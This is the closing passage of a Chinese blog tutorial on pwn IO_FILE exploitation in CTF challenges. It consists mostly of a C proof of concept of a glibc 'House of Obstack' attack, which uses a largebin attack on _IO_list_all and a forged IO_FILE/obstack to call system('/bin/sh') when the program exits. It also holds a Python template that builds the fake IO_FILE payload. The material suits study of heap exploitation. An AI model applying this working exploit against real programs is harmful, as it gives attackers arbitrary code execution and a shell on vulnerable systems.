size_t IO_list_all_addr = libc_base + 0x1d2660;
size_t *large = malloc(0x420);
malloc(0x18);
size_t *unsorted = malloc(0x410);
free(large);
malloc(0x500);
free(unsorted);
large[3] = IO_list_all_addr - 0x20;
malloc(0x20);

size_t *fake_IO_obstack_file = large - 2;
size_t *fake_obstack = fake_IO_obstack_file + 6;

size_t IO_obstack_jumps = libc_base + 0x1ce420;

fake_IO_obstack_file[4] = 0; // _IO_write_base
fake_IO_obstack_file[5] = 1; // _IO_write_ptr
fake_IO_obstack_file[27] = IO_obstack_jumps + 0x20;// vtable
fake_IO_obstack_file[28] = (size_t) fake_obstack; //obstack
strcpy((char *) &fake_IO_obstack_file[29], "/bin/sh");

fake_obstack[7] = (size_t) system; //chunkfun -> system
fake_obstack[9] = (size_t) &fake_IO_obstack_file[29];//extra_arg -> "/bin/sh"
fake_obstack[10] |= 1; //use_extra_arg = 1

// FSOP
exit(0);
}

模板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
fake_io_addr = heap_addr + 0x1390
obstack_ptr = fake_io_addr + 0x30
fake_io_file = b''
fake_io_file = fake_io_file.ljust(0x58,b'\x00')
fake_io_file += p64(system_addr) # 需要执行的函数
fake_io_file += p64(0)
fake_io_file += p64(fake_io_addr+0xe8) # 执行函数的 rdi
fake_io_file += p64(1) # obstack->use_extra_arg=1
fake_io_file += p64(heap_addr+0x2000) # _IO_lock_t *_lock;
fake_io_file = fake_io_file.ljust(0xc8,b'\x00')
fake_io_file += p64(IO_obstack_jumps_addr + 0x20) # 触发 _IO_obstack_xsputn;
fake_io_file += p64(obstack_ptr) # struct obstack *obstack
print(hex(len(fake_io_file))) # 因为是largebin attack 所以: 0xd8=0xe8-0x10
# pause()

# 执行函数的 rdi 的地址所存储的内容
payload = fake_io_file+ b'/bin/sh\x00'
  • Title: 深入理解Pwn_IO_FILE及相关赛题详细解析
  • Author: 韩乔落
  • Created at : 2023-09-27 20:26:45
  • Updated at : 2024-10-16 15:59:33
  • Link: https://jelasin.github.io/2023/09/27/深入理解Pwn_IO_FILE及相关赛题详细解析/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments
On this page
深入理解Pwn_IO_FILE及相关赛题详细解析